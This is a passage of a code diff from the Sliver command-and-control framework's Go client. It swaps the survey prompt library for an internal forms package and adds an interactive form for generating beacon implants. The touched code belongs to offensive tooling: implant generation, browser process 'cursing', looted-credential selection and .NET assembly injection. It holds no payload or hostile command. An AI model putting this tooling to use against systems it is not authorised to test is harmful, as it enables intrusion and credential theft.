|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: name,
|
||||
Label: label,
|
||||
})
|
||||
seen[name] = true
|
||||
packageCount++
|
||||
return true
|
||||
}
|
||||
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
name := command.CommandName
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
if seen[name] {
|
||||
continue
|
||||
}
|
||||
label := formatArmoryInstallLabel("extension", name, command.Help)
|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: name,
|
||||
Label: label,
|
||||
})
|
||||
seen[name] = true
|
||||
packageCount++
|
||||
}
|
||||
|
||||
return true
|
||||
})
|
||||
|
||||
for _, bundle := range bundlesInCache() {
|
||||
if bundle.Name == "" {
|
||||
continue
|
||||
}
|
||||
if armoryName != "" && bundle.ArmoryName != armoryName {
|
||||
continue
|
||||
}
|
||||
if seen[bundle.Name] {
|
||||
continue
|
||||
}
|
||||
label := fmt.Sprintf("bundle: %s (%d packages)", bundle.Name, len(bundle.Packages))
|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: bundle.Name,
|
||||
Label: label,
|
||||
})
|
||||
seen[bundle.Name] = true
|
||||
}
|
||||
|
||||
if len(options) == 0 {
|
||||
return options
|
||||
}
|
||||
|
||||
sort.Slice(options, func(i, j int) bool {
|
||||
return options[i].Label < options[j].Label
|
||||
})
|
||||
|
||||
if packageCount > 0 {
|
||||
options = append([]forms.ArmoryInstallOption{
|
||||
{
|
||||
Value: "all",
|
||||
Label: "all packages (aliases + extensions)",
|
||||
},
|
||||
}, options...)
|
||||
}
|
||||
|
||||
return options
|
||||
}
|
||||
|
||||
func formatArmoryInstallLabel(kind, name, help string) string {
|
||||
help = strings.TrimSpace(help)
|
||||
if help == "" {
|
||||
return fmt.Sprintf("%s: %s", kind, name)
|
||||
}
|
||||
help = strings.Join(strings.Fields(help), " ")
|
||||
return fmt.Sprintf("%s: %s - %s", kind, name, help)
|
||||
}
|
||||
|
||||
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
|
||||
@@ -8,10 +8,10 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -602,8 +602,7 @@ func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not modify armory: %s\n", err)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Would you like to revert the properties of the armory back to their previous values?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
} else {
|
||||
|
||||
@@ -19,13 +19,11 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
@@ -34,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
@@ -87,16 +86,19 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
|
||||
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
|
||||
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
|
||||
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
|
||||
selectedUpdates, err = getUpdatesFromUser(updateKeys)
|
||||
if err != nil {
|
||||
con.PrintErrorf(err.Error() + "\n")
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if len(selectedUpdates) == 0 {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintSuccessf("All packages are up to date")
|
||||
con.PrintSuccessf("All packages are up to date\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -299,76 +301,35 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
}
|
||||
|
||||
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
|
||||
chosenUpdates = []UpdateIdentifier{}
|
||||
func getUpdatesFromUser(updateKeys []UpdateIdentifier) ([]UpdateIdentifier, error) {
|
||||
options := make([]forms.ArmoryUpdateOption, 0, len(updateKeys))
|
||||
optionIndex := make(map[string]UpdateIdentifier, len(updateKeys))
|
||||
|
||||
var updateResponse string
|
||||
for _, key := range updateKeys {
|
||||
packageType := "Alias"
|
||||
if key.Type == ExtensionPackage {
|
||||
packageType = "Extension"
|
||||
}
|
||||
optionID := fmt.Sprintf("%d:%s", key.Type, key.Name)
|
||||
optionLabel := fmt.Sprintf("%s (%s)", key.Name, packageType)
|
||||
options = append(options, forms.ArmoryUpdateOption{
|
||||
ID: optionID,
|
||||
Label: optionLabel,
|
||||
})
|
||||
optionIndex[optionID] = key
|
||||
}
|
||||
|
||||
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
|
||||
err := survey.AskOne(&survey.Input{
|
||||
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
|
||||
}, &updateResponse)
|
||||
result, err := forms.ArmoryUpdateForm(options)
|
||||
if err != nil {
|
||||
// We do not need to set selectionError because an error here means the same thing as responding with "none"
|
||||
return
|
||||
return nil, err
|
||||
}
|
||||
|
||||
updateResponse = strings.ToLower(updateResponse)
|
||||
updateResponse = strings.Replace(updateResponse, " ", "", -1)
|
||||
if updateResponse == "n" || updateResponse == "none" {
|
||||
return
|
||||
}
|
||||
|
||||
if updateResponse == "a" || updateResponse == "all" {
|
||||
chosenUpdates = updateKeys
|
||||
return
|
||||
}
|
||||
|
||||
selections := strings.Split(updateResponse, ",")
|
||||
|
||||
for _, selection := range selections {
|
||||
// Handle a range
|
||||
if strings.Contains(selection, "-") {
|
||||
rangeParts := strings.Split(selection, "-")
|
||||
start, err := strconv.Atoi(rangeParts[0])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
|
||||
return
|
||||
}
|
||||
end, err := strconv.Atoi(rangeParts[1])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
|
||||
return
|
||||
}
|
||||
// Adjust for the 0 indexed slice we are working with
|
||||
start -= 1
|
||||
end -= 1
|
||||
if start < 0 {
|
||||
start = 0
|
||||
}
|
||||
if start > end {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
if end >= len(updateKeys) {
|
||||
end = len(updateKeys) - 1
|
||||
}
|
||||
|
||||
for i := start; i <= end; i++ {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[i])
|
||||
}
|
||||
} else {
|
||||
// Single entry
|
||||
index, err := strconv.Atoi(selection)
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
index -= 1
|
||||
if index >= 0 && index < len(updateKeys) {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[index])
|
||||
}
|
||||
chosenUpdates := make([]UpdateIdentifier, 0, len(result.SelectedIDs))
|
||||
for _, selectedID := range result.SelectedIDs {
|
||||
if update, ok := optionIndex[selectedID]; ok {
|
||||
chosenUpdates = append(chosenUpdates, update)
|
||||
}
|
||||
}
|
||||
return
|
||||
|
||||
return chosenUpdates, nil
|
||||
}
|
||||
@@ -26,9 +26,8 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -83,12 +82,8 @@ func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.Select("Select a beacon:", options, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
@@ -21,10 +21,10 @@ package beacons
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -71,8 +71,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
con.Println()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Prune these beacons?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Prune these beacons?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -29,7 +29,6 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/exp/slices"
|
||||
@@ -38,6 +37,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -547,11 +547,7 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
choices = append(choices, c2profile.Name)
|
||||
}
|
||||
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a c2 profile",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &c2profile, nil)
|
||||
_ = forms.Select("Select a c2 profile", choices, &c2profile)
|
||||
|
||||
return c2profile
|
||||
}
|
||||
|
||||
@@ -21,10 +21,10 @@ package clean
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -35,8 +35,7 @@ import (
|
||||
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Are you sure you want to destroy everything?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -8,8 +8,8 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -55,11 +55,7 @@ func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.S
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a credential:",
|
||||
Options: options,
|
||||
}
|
||||
err = survey.AskOne(prompt, &selected)
|
||||
err = forms.Select("Select a credential:", options, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -27,9 +27,9 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -123,7 +123,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
|
||||
@@ -26,9 +26,9 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/reeflective/readline"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -71,12 +71,8 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a debug target:", options, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
|
||||
@@ -23,9 +23,9 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -106,7 +106,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
|
||||
@@ -25,9 +25,9 @@ import (
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -88,7 +88,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restart the process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
|
||||
@@ -22,9 +22,9 @@ import (
|
||||
"context"
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -44,7 +44,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
err := forms.Confirm("Kill the cursed process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
|
||||
@@ -25,10 +25,10 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -95,12 +95,8 @@ func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a curse:", options, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
|
||||
@@ -24,8 +24,8 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -82,8 +82,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
if len(assemblyArgsStr) > 256 && !inProcess {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Do you want to continue?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -23,8 +23,8 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -145,8 +145,7 @@ func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) {
|
||||
privKey []byte
|
||||
)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("No credentials provided, use from loot?", &confirm)
|
||||
if confirm {
|
||||
// cred, err := loot.SelectCredentials(con)
|
||||
// if err != nil {
|
||||
|
||||
@@ -23,9 +23,9 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -45,8 +45,7 @@ func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
|
||||
con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Are you sure you want to exit?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -24,9 +24,9 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -92,8 +92,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -33,12 +33,12 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/packages"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -171,8 +171,7 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current command?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite current command?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -25,9 +25,9 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -40,8 +40,7 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' extension?", name), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -104,8 +103,7 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
|
||||
// If path is outside extensions directory, prompt for confirmation
|
||||
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName), &confirm)
|
||||
if !confirm {
|
||||
// Skip the forceRemoveAll but continue with the rest
|
||||
delete(loadedManifests, manifestName)
|
||||
|
||||
@@ -30,12 +30,12 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
@@ -189,8 +189,7 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
_ = forms.Confirm("Overwrite local file?", &overwrite)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1,11 +1,15 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -17,6 +21,21 @@ var (
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunGenerateBeaconForm(cmd, con, args) {
|
||||
result, err := forms.GenerateBeaconForm()
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("Generate beacon form failed: %s\n", err)
|
||||
return
|
||||
}
|
||||
if err := applyGenerateBeaconForm(cmd, result); err != nil {
|
||||
con.PrintErrorf("Failed to apply generate beacon form values: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
name, config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
@@ -67,3 +86,99 @@ func parseBeaconFlags(cmd *cobra.Command, config *clientpb.ImplantConfig) error
|
||||
config.BeaconJitter = int64(time.Duration(beaconJitter) * time.Second)
|
||||
return nil
|
||||
}
|
||||
|
||||
func shouldRunGenerateBeaconForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
|
||||
if con == nil || con.IsCLI {
|
||||
return false
|
||||
}
|
||||
if len(args) != 0 {
|
||||
return false
|
||||
}
|
||||
return cmd.Flags().NFlag() == 0
|
||||
}
|
||||
|
||||
func applyGenerateBeaconForm(cmd *cobra.Command, result *forms.GenerateBeaconFormResult) error {
|
||||
if err := cmd.Flags().Set("os", result.OS); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := cmd.Flags().Set("arch", result.Arch); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := cmd.Flags().Set("format", result.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
name := strings.TrimSpace(result.Name)
|
||||
if name != "" {
|
||||
if err := cmd.Flags().Set("name", name); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
save := strings.TrimSpace(result.Save)
|
||||
if save != "" {
|
||||
if err := cmd.Flags().Set("save", save); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
c2Value := strings.TrimSpace(result.C2Value)
|
||||
switch result.C2Type {
|
||||
case "mtls":
|
||||
if err := cmd.Flags().Set("mtls", c2Value); err != nil {
|
||||
return err
|
||||
}
|
||||
case "wg":
|
||||
if err := cmd.Flags().Set("wg", c2Value); err != nil {
|
||||
return err
|
||||
}
|
||||
case "http":
|
||||
if err := cmd.Flags().Set("http", c2Value); err != nil {
|
||||
return err
|
||||
}
|
||||
case "dns":
|
||||
